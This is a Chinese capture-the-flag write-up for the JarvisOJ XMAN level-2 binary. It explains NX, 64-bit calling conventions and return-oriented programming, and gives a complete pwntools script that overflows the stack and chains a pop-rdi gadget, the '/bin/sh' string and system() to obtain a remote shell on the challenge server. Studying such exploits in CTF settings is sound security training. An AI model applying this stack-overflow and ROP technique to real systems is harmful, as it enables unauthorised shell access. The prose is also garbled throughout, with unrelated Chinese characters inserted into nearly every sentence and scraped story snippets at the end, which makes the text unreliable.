JarvisOj [XMAN]level-2

思路WP

提示:網(wǎng)上有不少當作32位寫的WP区丑,都出現(xiàn)了問題牵现,無法成功cat flag,只有運用ROP的才能成功灶搜。

該題會用到gdb中的checksec祟蚀,可以通過pip install gdb下載。checksec的主要作用是檢查elf文件的保護機制割卖。

  • 通過checksec后發(fā)現(xiàn)開啟了NX前酿,因此需要學(xué)習(xí)ROP。


    level2 NX.png

NX:NX即No-eXecute(不可執(zhí)行)的意思鹏溯,NX(DEP)的基本原理是將數(shù)據(jù)所在內(nèi)存頁標識為不可執(zhí)行罢维,當程序溢出成功轉(zhuǎn)入shellcode時,程序會嘗試在數(shù)據(jù)頁面上執(zhí)行指令丙挽,此時CPU就會拋出異常肺孵,而不是去執(zhí)行惡意指令。繞過的最主流的方法就死ROP(return-orient-program).

  • 打開ida后,同樣由main函數(shù)開始颜阐,到vulner_function函數(shù)發(fā)現(xiàn)棧溢出平窘,雖然發(fā)現(xiàn)有system函數(shù)凳怨,但system函數(shù)中不存在“/bin/sh”的命令初婆。同時也因為NX打開了猿棉,因此我們要使用ROP。


    system.png

ROP的全稱為Return-oriented programming(返回導(dǎo)向編程)

level2尋找binsh.png
level2 尋找rdi.png
  • 可以得到函數(shù)將rdi出棧并且存入第一個寄存器rdi的時候弊琴,同時通過ROPgadget的搜索功能,找到程序在data部分有“/bin/sh”的命令,因此我們造一個偽棧幀杖爽,但同時我們需要找到寄存器rdi的地址(0x4006b3)并向其寫入?yún)?shù)敲董。


    /bin/sh

為什么我們需要rdi呢?
首先我們必須先知道32位溢出與64位溢出的區(qū)別
在32位程序運行中慰安,函數(shù)參數(shù)直接壓入棧中
    調(diào)用函數(shù)時棧的結(jié)構(gòu)為:調(diào)用函數(shù)地址->函數(shù)的返回地址->參數(shù)n->參數(shù)n-1->···->參數(shù)1
在64位程序運行中腋寨,參數(shù)傳遞需要寄存器
    64位參數(shù)傳遞約定:前六個參數(shù)按順序存儲在寄存器rdi, rsi, rdx, rcx, r8, r9 中,參數(shù)超過六個時,從第七個開始壓入棧中

  • 因此我們想要覆蓋原先的地址化焕,并使他指向“/bin/sh”的時候萄窜,我們要得到程序?qū)di存到ret時的地址,從而將函數(shù)參數(shù)存入寄存器,既“/bin/sh”的地址查刻,最后再加上system的地址键兜,這樣就構(gòu)成了一個偽棧幀,達到了我們調(diào)用system和“/bin/sh”的目的穗泵。

代碼

#!usr/bin/env python 
# -*- coding: utf-8 -*-
from pwn import  *
io = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = 0x600A90    #利用ROPgadget獲得
rdi_ret = 0x4006B3

payload = ''
payload += 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(bin_addr)
payload += p64(sys_addr)

io.recvline()
io.sendline(payload)
io.interactive()
io.close()

解釋

ELF是一種用于二進制文件普气、可執(zhí)行文件、目標代碼佃延、共享庫和核心轉(zhuǎn)儲格式文件现诀,即我們下載
得到的文件(在這里我重命名了)
elf.symbols[]可以得到框號中字符作為函數(shù)名在本程序中的地址。
sendline()是傳輸一行履肃。

結(jié)果

level2.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末仔沿,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子榆浓,更是在濱河造成了極大的恐慌于未,老刑警劉巖撕攒,帶你破解...
    沈念sama閱讀 218,122評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件陡鹃,死亡現(xiàn)場離奇詭異,居然都是意外死亡抖坪,警方通過查閱死者的電腦和手機萍鲸,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來擦俐,“玉大人脊阴,你說我怎么就攤上這事◎乔疲” “怎么了嘿期?”我有些...
    開封第一講書人閱讀 164,491評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長埋合。 經(jīng)常有香客問我备徐,道長,這世上最難降的妖魔是什么甚颂? 我笑而不...
    開封第一講書人閱讀 58,636評論 1 293
  • 正文 為了忘掉前任蜜猾,我火速辦了婚禮,結(jié)果婚禮上振诬,老公的妹妹穿的比我還像新娘蹭睡。我一直安慰自己,他們只是感情好赶么,可當我...
    茶點故事閱讀 67,676評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般洪规。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上斩例,一...
    開封第一講書人閱讀 51,541評論 1 305
  • 那天从橘,我揣著相機與錄音,去河邊找鬼恰力。 笑死,一個胖子當著我的面吹牛停局,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播董栽,決...
    沈念sama閱讀 40,292評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼企孩,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了擒抛?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,211評論 0 276
  • 序言:老撾萬榮一對情侶失蹤歧沪,失蹤者是張志新(化名)和其女友劉穎莲组,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體胁编,經(jīng)...
    沈念sama閱讀 45,655評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡嬉橙,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,846評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了霞扬。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,965評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡萤彩,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出斧拍,到底是詐尸還是另有隱情,我是刑警寧澤肆汹,帶...
    沈念sama閱讀 35,684評論 5 347
  • 正文 年R本政府宣布昂勉,位于F島的核電站,受9級特大地震影響岗照,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜攒至,卻給世界環(huán)境...
    茶點故事閱讀 41,295評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望籍救。 院中可真熱鬧习绢,春花似錦、人聲如沸闪萄。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽圆裕。三九已至,卻和暖如春吓妆,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背行拢。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留竭缝,地道東北人。 一個月前我還...
    沈念sama閱讀 48,126評論 3 370
  • 正文 我出身青樓咙俩,卻偏偏與公主長得像,于是被迫代替她去往敵國和親暴浦。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,914評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 0x01 Start checksec 的時候可以看到程序沒有打開任何的安全保護措施歌焦,然后查看IDA下的匯編代碼砚哆,...
    Nevv閱讀 1,683評論 0 2
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys閱讀 3,322評論 0 2
  • 監(jiān)聽數(shù)據(jù)對象變化躁锁,最容易想到的是建立一個需要監(jiān)視對象的表,定時掃描其值战转,有變化,則執(zhí)行相應(yīng)操作槐秧,不過這種實現(xiàn)方式,...
    duiel閱讀 11,035評論 0 14
  • 現(xiàn)在寫感賞和投射成了每天的必修課颠通,哪一天沒寫心里就空空的好像落下了什么事,寫完了就可以舒舒服服地睡一覺了顿锰。 學(xué)習(xí)了...
    馮梅fm閱讀 151評論 0 2
  • 詩人死在了江邊 詩人死在哪了疑故?詩人死在了江邊投储。 詩人跳江死了鉴腻,水面飄起了他的尸體鲫惶,被路人撈起來姚糊,是第二天的太陽浪默。 ...
    南溪向南北歌流海閱讀 70評論 0 0